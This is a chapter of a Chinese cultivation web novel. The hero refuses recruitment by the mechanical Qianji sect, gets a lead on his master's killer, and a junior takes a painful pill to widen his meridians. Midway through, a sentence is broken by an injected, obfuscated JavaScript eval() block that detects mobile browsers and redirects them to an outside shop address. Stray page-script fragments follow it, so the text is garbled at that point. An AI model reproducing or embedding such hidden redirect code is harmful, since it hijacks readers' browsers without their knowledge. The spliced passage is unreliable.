他已经筑基了,站着说话不腰疼。赵大海心中早就给自己定了个目标,无论如何一定要筑基,不能再吊车尾了。 李玉真不声不响的,这段时间已经修到筑基后期了,道:“都加油吧,我跟阿云的进度差不多,要是能到金丹期就好了。” 步云邪沉吟道:“我炼点丹,不行就用药强行冲一冲阶。咱们历练这么久了,应该能提升的。” 众人商议定了,各自回去休息。次日段星河上街买了些日用的东西,贴上了寻人启事,顺便拿着魏小雨的画像问当地的百姓有没有见过她。大家纷纷摇头,从来没见过这样一个小女孩。 段星河已经习惯这种大海捞针一般的感觉了,回到驿馆时已经是下午了。他回屋盘膝而坐,想静下心来练一练气。 他已经到了金丹期第一重,却一直无法专心修炼,常常一闭眼,脑海中就浮现起师父惨死的情形。不知从何处传来了放鞭炮的声音,烟花在远处炸响,光芒映在纸窗上。师父笑呵呵地把一大碗饺子推给他,道:“你是为师最好的弟子,我以你为傲。” 段星河的心头一暖,低头吃了一个饺子,抬头时却见师父直勾勾地盯着自己。 他慈祥的笑容消失了,眼睛里淌下了两行鲜血,质问道:“小雨呢,我等了这么久,你怎么还没把她找回来?” “……!!!” 段星河没法回答他,头上冒出了豆大的汗珠,气息显然走岔了。 他知道眼前的一切都是幻觉,可就是没有办法控制自己的恐惧。这些痛苦来自于他内心深处的内疚,一直折磨着他。 良久他才摆脱了魔障,睁开了眼,只行气走了一个周天,却险些走火入魔。 他大口喘着气,心脏还在咚咚直跳。一天找不到害死师父的凶手,他就一天不得安稳。片刻他平复下来,起身喝了杯水,外头的天光暗下去,院子里的灯笼渐次点起来了。 远处传来了敲梆子的声音,一更天了。他点起了灯,无意间转过身,呼吸忽然一窒。走廊上,有个圆圆的大头影子投射在窗户纸上,在风里轻轻地晃来晃去。 那身影十分矮小,脑袋上绑着两个圆髻,伸出了手,轻轻敲响了门。 “铛,铛铛。” 段星河打开了门,在牛家村外见过的那个酒坛娃娃站在走廊上。她抬起了头,幽幽道:“原来你在这里啊,让我好找。” 这些人阴魂不散的,段星河炖了她的怪兽,疑心她是来给她的好大儿报仇的。他冷冷道:“你来干什么?” “别紧张,”酒坛娃娃的声音里带了几分讥诮,“少主让我给你送一封信,喏。” 她把一个黄皮信封递了过来,段星河捏了一下,感觉里头没有异物。他打开信,见上头写着:“久闻段兄大名,倾慕已久。尊师之事,吾兄已代为传达,此事还需面谈。在下于明日酉时初在醉仙楼设宴,请阁下赏光一聚。下头的落款是千机门,裴少卿。” 裴少卿便是那个在拍卖会上跟薛红玉竞价的人。段星河眼前浮现出一个光鲜傲慢的男子,写信的人就是他了。 他抬起 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“放宽心,”李玉真嗑着瓜子道,“他家少主手底下那么多人,要对付咱们直接就动手了,还用约到酒楼来么?” 其他人觉得也是,便没有那么紧张了。 等了片刻,就见一队黑衣侍卫骑着马从长街尽头过来。后头跟着一辆精致的镀金马车,那股派头一看就知道,除了千机门的少主不可能是别人。马车停在酒楼前,骏马抖了抖鬃毛,原地踏了几步。赵大海陡然睁大了眼,上半截身子忍不住探过去,道:“你们看,那马!” 他一向喜欢牲口,对马特别感兴趣。众人定睛望去,就见那两匹拉车的黑马身上镶嵌着银白色的钢铁骨骼,肋骨、腿骨、头骨都清晰可见,既是装饰,又是铠甲。 伏顺也睁大了眼,道:“哇,这马帅啊,这身外骨骼是怎么弄上去的?” 李玉真道:“是融合兽吧,机械跟上好的宝马融合炼化而成的,算是千机门的特色了。” 宋胡缨忽然开口道:“千金骨。” 赵大海奇怪道:“什么?” 宋胡缨道:“这种马叫千金骨,我哥就有一匹。跑得挺快的,耐力也很好,就是配不了种,死了就只能再买。” 众人想起了她是大将军府的二小姐,什么奢华的东西都见过,忍不住感叹这些贵族的生活是他们难以企及的。李玉真道:“要是买了能自己繁育,千机门还赚谁的钱。” 一个穿灰色衣袍的男子翻身下了马,正是前阵子见过的渠阳子。他等在路边,一人从马车里走了下来,正是千机门的少主裴少卿。他拿着一根镶金的乌木手杖,穿着一身西洋范的窄袖衣袍,和渠阳子一起上楼去了。其他侍卫站在酒楼门口,这边已经被他们提前包下来了,楼里一个闲杂人等也没有。 其他人望着他的背影,感到了有钱人的豪横气魄,陷入了沉默。 酉时初刻,段星河和步云邪骑着马,来到了醉仙楼前。两人下意识往对面的茶楼看了一眼,见李玉真他们都在,便装作无事地挪开了目光。一名侍卫上前道:“是段公子么?” 段星河把信递了过去,守门的侍卫微微一点头,道:“跟我来。” 一名侍卫带着他和步云邪去了二楼雅座,就见一人背对着这边,翘着二郎腿。渠阳子站在窗边,贴身护卫着他。 侍卫道:“少主,段公子来了。” 那人回过头来,他穿着一身白色的修身衣裳,戴着单片的金丝眼镜,一根链子连在领口。他的模样很斯文,目光流转间却又透出一股阴戾之气,显然不是善类。 渠阳子微微一笑,道:“你们来了。我介绍一下,这是我二师弟,千机门的少主。” 那人站了起来,道:“你好,我是裴少卿。你能来,我很高兴。” 他跟这边人的做派不太一样,更像海外的那些人。千机门的总舵在大陆西北方的一个小岛上,跟海外进献机械的那些国家常有来往,受到那边的影响颇深。他的眼睛是琥珀色的,乌黑的头发微微蜷曲,高鼻深目,好像有西洋人的血统。 段星河道:“我就是段星河,逍遥观的长徒。这是我师弟步云邪,叫我们来有事么?” 裴少卿抬手道:“请坐吧。” 小二过来倒上了茶,道:“公子,现在上菜么?” 裴少卿道:“上吧。” 小二便出去了,片刻端了热气腾腾的饭菜上来,菜肴十分丰盛,又不失雅致。这是城中最贵的酒楼,包一晚上要花不少钱,但他神色淡淡的,根本没放在心上。 裴少卿一摆手,两个巴掌大的小机器人飞了起来,提起酒壶给段星河和步云邪倒上了酒,又给他和渠阳子满上了。 裴少卿和气道:“感谢你们前来赴约,先干一杯。” 段星河没动杯子,裴少卿知道他们怕有毒,便仰头自己喝了。 琥珀色的酒散发出蜂蜜和水果的香气,透着一股丰饶的气息。裴少卿道:“这是用葡萄酒蒸馏的,在橡木桶里窖藏了三十年,是我特地从总舵带来的珍品,两位确定不尝尝?” 那酒的香气确实诱人,对方看起来也没有恶意。步云邪喝了一口,果然唇齿留香,跟他们以前喝过的酒很不一样。段星河仍然坐着没动,态度十分冷淡,对要谈的正事之外的其他都不感兴趣。 裴少卿看着他,道:“我大师兄说,你们烹杀了我门下弟子养的一只融合兽,是这样的么?” 段星河道:“是又如何?” 裴少卿倒没有要兴师问罪的意思,只是淡淡道:“在锅里找过了么,有可疑的残骸么?” 段星河沉默了片刻,道:“没有。” 裴少卿就知道如此,道:“我们千机门中,没有你说的那种杂耍班子。袭击尊师的机关兽,很可能是其他宗门的人豢养的。我千机门的造物有两大类,一种是纯机关制成的,叫机械兽;另一种是机械和血肉制成的,叫融合兽。” 他抬起手来,方才给他们倒酒的一个机器小人落在了他手心上。那小人外表看起来有点像蜜蜂,他手指一掀,打开了小人儿的肚皮,里头露出了许多大大小小的齿轮,互相嵌套啮合,缓缓地转动着,看起来十分精密。 渠阳子侧头看着机械内部,露出了欣赏的神色。 “美么?” 段星河和步云邪没说话,心中却暗暗赞叹千机门的机关水平高超。裴少卿叹了口气,轻轻地合上了盖子,道:“机械是如此美丽,大部分人却不懂欣赏,只当这是旁门左道,可惜了。” 他道:“这小人儿便是机械兽,而你们烹杀的是融合兽。但这两种东西都通过各种渠道流向了各大宗门,毕竟修仙的也讲究财侣法地,我们得赚钱生活。” 段星河知道他说的不错,之前在拍卖会上,他就见了不少千机门的造物,而且大都价格不菲。那个杂耍班子豢养的怪兽若真是买来的,或是偷来的,对千机门来说就冤枉了。 裴少卿继续道:“我就像个开兵器铺子的人,谁买了我的刀,出去杀了人,这罪过跟铁匠无关吧?” 虽然如此,段星河还是有些意难平。他道:“那怪兽是谁买的,能查到么?” 渠阳子觉得有点棘手,道:“融合兽没有固定的形态,它们的模样会根据后续喂食的东西发生变化。可能卖出去的时候只是一滩肉,养着养着就变成了长角的怪物,很难说当初到底是哪一只。” 段星河想起了那只蛞蝓精,它便是吃了什么,就会长出相应的特征来,确实难以根据最后的模样来溯源。裴少卿道:“无妨,你记得它长什么样么,画出来给我看看吧。” 他打了个响指,两个小机器人飞到楼下去,扛了一只毛笔和白纸砚台回来。段星河就算化成灰也忘不了那怪兽的模样,很快就把它画了出来。一个三丈高的怪物长着一张血盆大口,嘴里满是獠牙,头上长着角,肩膀上生着几十条触须,脚底带着喷火的装置。 段星河不擅长绘画,画成这样已经尽力了。渠阳子有点想笑,立刻装作咳嗽了一声,显然觉得有点不合时宜。 裴少卿扶了一下单片眼镜,端详了片刻,感觉确实画的有点抽象。他道:“其他的部分都可能是后来养出来的,但脚上这个助推器,好像是前年拍卖会上卖掉的一只融合兽,我查一下。” 一个机器人背部的翅膀弹开了,里头是个小型的随身空间。他伸手扒拉了几下,从里头掏出了一个账本,哗啦啦地翻了一阵子,找到了相关的信息,道:“前年十月,凌烟阁拍卖会上,卖了一只类似的融合兽给啸山宗,但后来有没有被他们转卖,这我就不知道了。” “啸山宗……”段星河记住了这个宗门的名字,这个消息对他们来说十分重要,今天不算白来一趟。他道:“我知道了,多谢。” 裴少卿微微一笑,道:“客气了,误会解开了就好。” 机器人给他们倒上了酒,裴少卿道:“再干一杯,交个朋友?” 段星河举起了水晶杯,把酒一饮而尽。步云邪的神色却有些顾虑,以对方的实力来说,没必要亲自来跟他们解释这些,甚至就算无情地碾压他们,也不过像车轮碾过蚂蚁。这种莫名的重视和客气,本身就很不正常。 他道:“阁下亲自前来,就为了这件事么?” 裴少卿微微一笑,道:“我们千机门的人远居海外,少有朋友,很愿意跟中原的道友往来。不瞒你说,我注意你们有一段时间了。自从去年在拍卖会上见过一面,我就一直对段兄念念不忘。” 他们当时没说过话,也没有任何接触,没想到那时候就被千机门盯上了。段星河十分诧异,道:“你记着我做什么?” 裴少卿琥珀色的眼瞳注视着他,道:“你身上有虺神的祝福,我能感觉得到。” 他露出了一丝意味深长的笑容,有些羡慕,又有点幸灾乐祸。 他缓缓道:“你是被神选中的人。不光是我,这个世界里,所有邪宗的人都对你很感兴趣。” 32.千机门 三 段星河一凛,他一直尽力压制自己身上的煞气,却没想到这种东西就像血腥味一样,就算他自己习惯了,别人也能轻易地感知到,根本就掩盖不住。 每个人都装作若无其事的样子,却又在暗处悄悄地打量他,那种感觉简直让人毛骨悚然。 段星河皱眉道:“什么祝福,根本就是诅咒,想解除都解除不了。” 裴少卿笑了,道:“你还年轻,不明白自己拥有多大的力量。你现在没办法驾驭这股力量,反而容易因为它惹出祸来。不光各大宗门的人觊觎你的能力,一些蒙昧的妖魔就像苍蝇追逐血肉一样,会本能地被你的煞气吸引过来,你不怕么?” 段星河知道他说的没错,先前长生观的那些人便对他垂涎三尺,还有薛红玉也一直跟着他、为难他。但让他向邪宗寻求庇护,他无论如何也做不到。 面前的也不是什么好人,只不过是想趁火打劫而已。段星河做出一副无所谓的态度,道:“遇上什么事就解决什么,没什么大不了的。” 裴少卿露出一抹讥诮的笑,道:“就凭你们外头的那几个人,能解决多大的事?两个资质扶不上墙的小痞子,一个体质比一般人都弱的道士,唯一一个能打的还是个姑娘。” 段星河和步云邪登时一震,没想到他不动声色的,早就注意到自己的人埋伏在对面了。两人一时间没说话,裴少卿意味深长道:“出了大幽之后,这个世界才如幕布掀开一角,很多你根本想不到的东西在前头等着你们。” 步云邪道:“阁下什么意思?” 裴少卿直接道:“我想跟你们合作,只要你加入我们千机门,我来助他激发身体里的潜力,保护你们的安全。” 步云邪道:“怎么个合作法?” 裴少卿微微一笑,道:“想来你们也已经听说过了,我们千机门跟万象门的人同出于虺教,互相看对方很不顺眼。万象门对虺神不敬已久,而我们却一直敬奉虺神,它伟大的力量是我们驱动机械的能源。既然你是被虺神选中的人,我们希望利用你的力量灭了万象门,重振虺教。” 段星河对他们邪宗之间的勾心斗角不感兴趣,听他这话的意思,无疑是要让自己当他们的血牛,最大限度地开发自身的邪力为他们提供能量。那样活着,跟身陷地狱也没什么区别了。他沉下了脸道:“我是逍遥观的人,不会另投别宗。” 裴少卿道:“先别急着拒绝,听听我们的教义嘛。” 他说着一抬手,渠阳子便道:“两位小友,我们千机门出自虺教,虺神沉睡之后,日尊裴千秋来到了北方海域之中,在通天岛上建立了千机门。他老人家学识渊博,以墨家机关术为本,结合了西方罗刹国的机械术,制作了许多精巧的机关造物。凡入我门者,皆是兄弟姐妹。大家以融合作为修炼之法,吸收天地灵气向虺神献祭。肉身脆弱,机械飞升才是真谛。” 段星河冷淡道:“多谢阁下好意,但我还是想以自身为鼎炉,修炼金丹,走最普通的道路。” 渠阳子不以为然道:“区区肉身想要修炼成仙,那可太难了、也太久了。在那之前,这具身体很可能就报废了。君不见多少人死在修仙途中,化为尘埃,几百年的努力毁于一旦。而入我千机门,纵使修炼不成,亦能长生不死!” 他的神情肃然,又透着几分神秘的气息。步云邪有了些兴趣,道:“如何长生不死?” 渠阳子没说话,直接解下了胸前的护心镜,拉开了道袍。就见他胸口有一个大洞,表面蒙着一层水晶罩子,扑通、扑通、扑通,一团幽红的东西在里头不住跳动,肌肉和血管清晰可见——那是一颗机械做的心脏,正在代替本来的心脏搏动着。 段星河和步云邪都睁大了眼,没想到这人能说能笑的,心脏却早就不是自己的了。步云邪哑声道:“这……心是君主之官,也能换成假的么?” 渠阳子一副淡然的模样,道:“当然能。我今年已经四百三十八岁了,纵使修炼到元婴期,身体在四百岁时也出现了衰败。羽化登仙之时肉身才能重塑,而我已经等不了那么久了。师父为我换了新的心脏,以虺神的力量作为驱动,能再跳动一千年。这就是千机门的神迹,实实在在的永生,你难道不心动么?” 段星河一时间没说话,有点被震撼到了。他们制造的机械不止是玩物,更是颠覆这个世界法则的存在,凌驾于生死之上,是切切实实能看到的道。 渠阳子拢起了衣裳,自豪道:“怎么样,小兄弟,要不要加入我们,咱们一起来征服这个世界。” 他伸出了手,段星河却没有握。对方的机械术虽然高明,跟他们合作的代价却是坠进深渊。何况这些人只是嘴上说的好听,实际上是要榨取他的力量,没想过把他当成平等的人来看待。 他道:“你有你们的信仰,我也有我的信仰。我的道心不会改变,不会加入你们的。” 话说到这个份上了,他仍然油盐不进。渠阳子沉默了下来,眼底一瞬间透出了杀气,就像野兽露出了獠牙。他虽然一直笑呵呵的,发起狠来却比谁都无情——这小子是被虺神选中的人,如果不能争取过来,便是个极大的隐患,就算杀了他也不能落到别人手里。 他瞥了裴少卿一眼,仿佛问他是要就地杀了,还是带回去慢慢调/教。 裴少卿微垂着眼,手指轻轻敲了敲桌子,还在权衡。段星河浑身的肌肉绷了起来,摸向了腰间的幽冥剑,打算应战。步云邪看了一眼窗外,准备跟兄弟们发信号了。 情势一触即发,裴少卿深吸了一口气,出声道:“也罢,人各有志。段兄一时间接受不了也无妨,等你想通了再找我吧。我的门人到处都是,很好找的。” 段星河一怔,没想到他会就这么放过自己。那两个人都到了元婴境界,自己这些人加起来也不是他们的对手。他怕对方反悔,立刻道:“好,在下就告辞了。” 他一抱拳,和步云邪快步下了楼。二人来到大街上,被风一吹,这才感觉出了一身冷汗。 李玉真等人从对面走出来,到街头跟他们汇合了,低声道:“怎么样,没事吧?” 段星河还有些心有余悸,沉声道:“没事,回去再说。” 渠阳子站在二楼窗前,看着他们的背影,道:“就这么放他们走了?” 裴少卿带着一丝玩味的神色,道:“不用着急,就算他不加入咱们,照样会跟万象门结成死仇。这小子潜力大得很,咱们坐山观虎斗就是了。” 渠阳子沉默了片刻,露出了淡淡的笑容,道:“还是少主有远见,那咱们就等着看好戏吧。” 回到了驿馆,段星河和步云邪都松了口气。众人围着桌子坐下了,李玉真见他们都是一副虚脱的模样,猜测他们方才受到了极大的威胁。他道:“他们说什么了?” 段星河把刚才发生的事说了,李玉真沉吟道:“他们想拉拢你,倒也有些眼光。不过千机门做了不少坏事,别看他们看起来人模狗样的,其实残忍程度跟万象门不相上下,千万别信他们!” 段星河能感到那两个人身上都带着强烈的邪气,绝不是良善之辈。他道:“我已经拒绝了。” 步云邪寻思着他们说过的话,道:“他们说害死师父的另有其人,那头融合兽前年卖给了啸山宗,也有可能早就被转卖了。这事不能只听他们一面之词,得想办法核实一下。” “这个容易,”李玉真道,“这边就有凌烟阁的分舵。他们若是在拍卖会上卖出去的,我从凌烟阁就能查到记录。” 众人想起了李玉真跟凌烟阁的宗主有交情,心中顿时一轻。前阵子周玉成还给了他一个黑玛瑙戒指作为信物,他道:“这事交给我,一定给你们查清楚。” 段星河道:“多谢你了,啸山宗在什么地方?” 宋胡缨摸着小对眼,道:“在巴蜀。” 段星河道:“想办法接触一下他们的人,查查后续的流向。那么大个东西藏不住的,总能找到最后一站到了谁手上。” 赵大海道:“查这些很危险吧,咱们可一定要小心。” 伏顺道:“怕什么,师父要是知道咱们在为他报仇,肯定也会保佑咱们的。” 步云邪的神色深沉,仿佛在思索什么。段星河道:“怎么了?” 步云邪道:“那个杂耍班子把人变成牲口,又采生折割,行事作风确实跟千机门很不一样。千机门是贪婪,化一切东西为己用。那个杂耍班子却是故意折磨人,吸收人痛苦的能量。” 段星河道:“那你觉得他们是什么人?” 步云邪摇了摇头,正如裴少卿所说,走到这里,他们对这个世界的了解也只像幕布掀起了一角。他道:“看一看再说吧,现在就妄断很可能被有心人误导。” 李玉真点了点头,道:“那些人不可能就这么老实下来,总会露出马脚的。” 他们现在就像笼罩在一片云雾中,盲目乱撞只会陷入危险。段星河道:“那就以不变应万变,这段时间好好提高一下自己。伏顺,你修炼的怎么样了?” 伏顺张口结舌,一看就是偷懒了。步云邪微不可查地叹了口气,就连外人都看出伏顺的本事不行,他还不肯努力。赵大海告状道:“他天天出去闲溜达,不是喝茶就是听曲儿。” 伏顺在桌子底下踢了他一脚,赵大海道:“怎么啦,我劝你又不听,还不让说。” 段星河淡淡道:“夷州的状况跟这边不能比,到处都有妖怪出没。你要是不好生练功,到时候可别后悔。” 他虽然没什么表情,但大师兄查功课的压迫感扑面而来。伏顺挠了挠头,道:“我知道了,会练的。” 伏顺看了一眼赵大海,见他一脸幸灾乐祸,道:“你笑什么笑,筑基了吗就笑我?” 赵大海尴尬起来,他资质愚钝,这些人里就数他修炼的最慢。他干咳了一声,道:“我……快了。” 伏顺摆出了师兄的架子,伸手要摸他的脉搏。赵大海把手背在身后不让他摸,一边起身道:“我还没喂马,去看看牲口。” 伏顺跟着他出了门,远远地喊道:“你敢不敢让我摸,我看你就没进步……喂,别跑!” 天暖和了,外头生机盎然。段星河在院子里练了一套逍遥剑法,伏顺坐在屋门前的台阶上,拿着根铁丝捅一把锁,只对这些旁门左道感兴趣。 段星河停下来擦了一把汗,扭头道:“你怎么不打坐?” 伏顺嘴里叼着一根草,道:“打坐多无聊,一会儿就睡着了,还是开锁有意思。” 他说着,咔嚓一声把锁打开了,又从旁边拿起另一把锁,像解连环似的捅了起来。 清风拂过庭院,树叶被吹得沙沙作响。段星河正打算再练一会儿,忽然竖起了耳朵,仿佛听见了什么。 “星哥,有空吗,到河边来。” 他收起了剑,径自往外走去。伏顺抬眼道:“大师兄,你干嘛去?” 段星河摆了摆手道:“有事。” 驿馆后面有一条小河,水不是太深,但有些鱼。驿丞他们经常来捞鱼虾,这地方还是他们说的。步云邪坐在岸边,面前支着个杆,身边放了个桶。他一见段星河便露出了笑容,招手道:“你来啦,帮忙打窝。” 说好要修炼一阵子,结果一个两个都在偷闲。步云邪穿着一身月白色的单衣,背后挂着个竹斗笠,衣袖挽到手肘,一派悠然自得的模样。 天气不算晒,确实适合垂钓。段星河拿铲子把鱼饵抛进河里,道:“等一会儿吧。” 他摘了一片大牛蒡叶子挡在头上,枕着一条手臂,躺在一块大石头上晒太阳。 步云邪一手托腮,看着水道:“就那个……好久没用了,以为不好使了呢,能听见吗。” 段星河扬起了嘴角,道:“听得见,我以为你忘了怎么用呢。” 两人之间有个小法术,叫火花心念咒。小时候段星河从院子里路过,忽然感觉脑子里有人跟自己说话。 “大师兄,听得到吗?” 他转头一望,见步云邪手里拿着本书,趴在讲经堂的窗台上期待地看着他。段星河走了过来,道:“你跟我说话?” 步云邪十分兴奋,指着书上的咒文道:“我刚看到的,叫火花心念咒,一辈子只能跟一个人连接。只要隔得不是太远,心里的话就能让对方听见。” 段星河有了点兴趣,道:“你想跟我连啊?” 步云邪把手一摊,道:“已经连上了啊。” 他本来想试试,没想到一次就成功了。段星河笑了,道:“哎,可惜了吧。” “不可惜,”步云邪高兴道,“以后想去哪儿玩,我在家里说一声,你就能听到了。” 段星河生出了好奇心,道:“没那么远吧,来试试。” 他倒退几步,声音清晰地传过来,步云邪在心里道:“太近啦,再远一点。” 小小的身影跑进了摇晃的阳光和树影里,渐渐消失了。段星河想起了从前的事,露出了笑容。河里泛起了涟漪,鱼游过来吃食了。步云邪等了一阵子,感觉鱼够多了,把竿甩进了水里。段星河道:“修炼的怎么样了?” 步云邪淡淡道:“还那样,要不然出来钓鱼呢。” 出来散散心也好,反正欲速则不达。段星河晒得有点困,不知不觉睡着了。傍晚他醒来时,天边已经布满云霞了。他揉着眼道:“抓了几条鱼?” 步云邪方才也在瞌睡,提起竿子一看,什么也没有。桶里游着几条一开始钓的小翘嘴,也就有手指头那么粗细。他道:“算了,这么小不够塞牙缝的。” 他把鱼放回河里,白待了一下午。段星河打了个呵欠,可惜扔出去的那一桶玉米粒,道:“打窝仙人。” 步云邪慢悠悠地收拾了钓竿和空桶,挺想得开,道:“有什么不好的,就是钓个意境嘛。” 小河哗哗流淌着,两人一起往回走去,清凉的晚风迎面吹来,偶尔这样什么也不做地度过一天也挺好的。 在驿馆住了十来天,伏顺每天吊儿郎当的,练一个周天就出去溜达一圈,喂喂墨墨和小对眼。赵大海就像学堂里的笨学生,虽然努力,但是进展缓慢。当然从另一个角度看,他虽然进展缓慢,却一直没有放弃,精神十分可嘉。 一灯如豆,赵大海坐在步云邪的丹房里。步云邪把手从他的脉搏上收回来,暗自叹了口气道:“挺好的,比以前强多了。” 赵大海有点着急,道:“二师兄,你每次都这么说,那我怎么还没筑基?” 步云邪觉得这个问题得问他自己,他虽然身强体壮,经脉却细的跟小拇指似的,整个人就像一块一窍不通的石头,属于没天赋的那一类。师父以前就劝过他,说如果实在不行,就趁着年轻找别的出路,别蹉跎了自己的人生。 赵大海却憨憨地说:“俺娘就希望我修仙,我要是回去了,她要骂我不孝。” 魏清风道:“那你娘一把年纪了,你不在家,谁来养活她?” 赵大海静了半晌,说了心里话:“有我弟呢。俺娘把祖屋留给俺弟了,家里的钱都攒着给他娶媳妇,我回去没地儿待、吃的又多,招人嫌。还是在这里好,我多干点活儿,师父你别撵我。” 他以前总说要挣大钱养活老娘,其实他娘也未必在乎他,只是寻个由头让他出来自谋生路罢了。魏清风可怜他,也不再要求他修出个什么结果来,带着他过日子就是了。 如今别人都筑基了,就他一个人落在后面。赵大海虽然嘴上不说,其实心里很不安。他道:“二师兄,你给我想个办法。我知道你本事大,你帮帮我好不好。” 步云邪也有些同情他,道:“你的道心是什么?” 赵大海挠了挠头,局促道:“我……我其实,我没想好。” 步云邪叹了口气,活了这么多年,他居然还没找到自己的道心,只能从头给他捋。步云邪道:“你做什么事的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529199|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候觉得自己最有价值?” 赵大海认真想了很久,道:“我给别人做饭的时候觉得自己很有用,用大车带着人的时候很开心,把牲口喂得又肥又壮的时候也很满足。” 步云邪寻思道:“那就是养育。” “养育……养育……” 赵大海喃喃地念了几遍,感觉身体里升起了一股温暖的力量。他觉得对头了,兴奋道:“我的道心就是养育,我也有道心了!” 步云邪温和道:“你早就有道心,只不过没察觉而已。” 赵大海虽然找到了道心,但能耐一时半会儿还提升不上去。他道:“那我从现在开始努力,要多久能筑基?” “不好说,”步云邪淡淡道,“可能一年半载,也可能十年八年,看个人资质。” 赵大海十分失望,觉得要是论资质,可能山门前的石头成了精,都轮不到自己开窍。他道:“有没有快一点的法子?” 步云邪的目光微动,他不想勉强别人做一些做不到的事。但现在跟以前不一样了,到处都危机四伏,自家兄弟若是能提高本事,大家也多一个可靠的战力。 步云邪沉吟道:“有一种丹药能帮你拓展经脉,但要受一些苦,你愿意么?” 赵大海道:“很疼么?” 步云邪慎重道:“每个人的耐受力不一样,有人觉得奇痛难忍,有的还可以忍受。若是成功了,以后修炼就很顺利;失败的话,经脉损毁,可能一辈子都没办法修炼了,但是普通生活还是不受影响的。” 这药确实很危险,所以他也从来没提过。赵大海想了片刻,觉得现在这个情况,自己就算修炼一辈子也没有结果,跟失败了也没什么两样。他不想永远被人瞧不起,母亲嫌弃他笨,只偏爱二弟。他做梦都想有一天能扬眉吐气,也让娘在乡亲们面前夸一夸自己。他深吸了一口气,认真道:“我想试试。” 步云邪平静道:“那你先回去休息几天,我炼好了给你。” 赵大海专心地歇了几天,为了改造自己的身体积攒精力。伏顺觉得有点奇怪,道:“你怎么天天都不动弹,跟母鸡抱窝似的?” 赵大海怕提前说了就泄气了,道:“没什么,就是天热了,不……不爱动。” 他的结巴已经好的差不多了,但一撒谎就忍不住要犯。伏顺怀疑地看着他,赵大海翻了个身,脸朝着窗户,一会儿又睡着了。 当天晚上,赵大海去了丹房。步云邪已经把药炼好了,昏黄的灯光照在屋里,他的神色有些严肃。步云邪道:“这药叫灵犀明窍丹,能拓展人的经脉,但过程十分痛苦。你想好了吗?” 赵大海接了过去,道:“没事,我给你写个生死状吧,万一死了也不赖你。” 步云邪笑了,安慰道:“没有这么严重。我给你护法,死不了的。” 伏顺悄悄地跟了过来,听见屋里说话,把窗户纸捅了个窟窿,心道:“大傻干什么好事,偷偷摸摸的不带我?” 赵大海服下了一颗药丸,盘膝而坐。片刻药效发作了,他的表情扭曲,身体开始不受控地痉挛起来。 步云邪坐在他身后,双手抵着他背心,将一道真气输送过去,保护着他的经脉。赵大海的神色稍微缓和了一些,身上还是止不住冒汗。他哑声道:“疼……好疼啊……” 步云邪道:“抱元守一,专气致柔。” 赵大海竭力调整自己的呼吸,想让自己排除杂念,放松身体。但他体内好像有一个凿子在不停的敲敲打打,就像开山一样,非要挖出一条大道来。 桌上的灯火不住跳动,他疼的像是被无数蚂蚁啮咬一样,终于承受不住,哇地吐出一口血,向前扑了过去。 伏顺吓了一跳,心道:“不得了,大海死了!” 他用力拍了几下门,道:“二师兄,怎么啦,要帮忙吗?” 他等了片刻,步云邪过来开了门,神色一如既往的淡定,道:“干什么?” 伏顺踮起脚来,越过他肩膀往屋里看,着急道:“大海呢,我刚才……我看见……” 步云邪一手拦着门框,面无表情道:“我帮他打通经脉,你偷看什么?” 伏顺张口结舌,答不上来。屋里传来低低的咳嗽声,伏顺心中一喜,道:“还没死呢!” 他一矮身,从步云邪的胳膊底下钻了过去。赵大海趴在床上一副虚脱的模样,眼睛半张半闭的,好像少了半条命。 他嘴角沾着些血迹,伏顺连忙帮他擦掉了,道:“兄弟,你没事吧?” 赵大海虚弱道:“我没事,熬过来了……没死,嘿嘿,嘿嘿嘿……” 他咧嘴傻笑起来,好像渡劫成功了一般。伏顺差点被他吓死了,道:“你还笑,有什么好笑的?” 赵大海颤巍巍地抬起胳膊,像是举起了什么宝贝一样,道:“你摸摸我,二师兄说我成了!” 伏顺半信半疑地摸他的脉搏,感觉他的经脉居然一下子被拓宽了一倍。以这样的条件修炼,灵力畅行无阻,用不了多久他就能赶上别人了。 伏顺有些羡慕,又很替他高兴,道:“行啊你,对自己够狠的。” 赵大海对步云邪绝对信任,道:“有二师兄呢,没事的。” 伏顺想了想,道:“那……二师兄,能不能给我也来一下,我不怕疼。” 步云邪抱着臂靠在一边,道:“你不行。” 伏顺道:“为什么?” 步云邪道:“他体质好,吃了这药还像扒一层皮。你这个体质吃了绝对熬不住。” 伏顺想起他刚才痛苦的模样,知道步云邪没骗自己。他搔了搔头道:“那算了吧,反正我已经筑基了。” 步云邪看向了他,道:“你的道心是什么?” 伏顺在床边坐下了,拍了拍胸膛道:“义气。” 他一天到晚坑蒙拐骗的,却立了个讲义气的道心,着实是缺什么想要什么了。但他既然筑基了,就表示能做得到。伏顺嘿嘿一笑,道:“我是要成为天下第一盗贼的男人,当盗圣要讲义气,小弟才会多!” 步云邪道:“你不是答应师父不做不好的事了么,怎么还要当盗圣?” 伏顺以前也拧巴过,想学别人当个正人君子,最好像大师兄一样豪气干云,或者像二师兄一样文雅聪明,可后来他发现自己实在做不到。人贵在有自知之明,他清楚自己就算把手剁了也改不了这一身的毛病,索性做个天底下最有名望的大盗,心里反而舒服多了。 他道:“师父让我莫行不义之事,没说不让偷东西了。” 步云邪有些无奈,道:“强词夺理。” “这个世界上人那么多,又不是每个人都得当大侠。”伏顺已经想开了,不在乎别人怎么说,“盗亦有道,我以后就想劫富济贫,让人一提起我就竖大拇哥,那不也挺好的嘛!” 人各有天性,难以悖逆。步云邪对他当贼王的志向不予置评,倒了杯水递给赵大海道:“在这里歇一晚吧,三天后就可以照常修炼了。” 赵大海喝了水,松了口气。伏顺给他盖上了被子,道:“我在这里照看他。” 步云邪也有些累了,便去了隔壁,片刻熄了灯睡下了。 伏顺躺在赵大海身边,贴着墙,把大部分地方都留给了他。黑暗中,他听见赵大海低声道:“娘……我回来了,我练成了一身好本事,比二弟强,你看我、好好看看我。跟族长说……把赵家屯……祖坟最好的位置给咱家……” 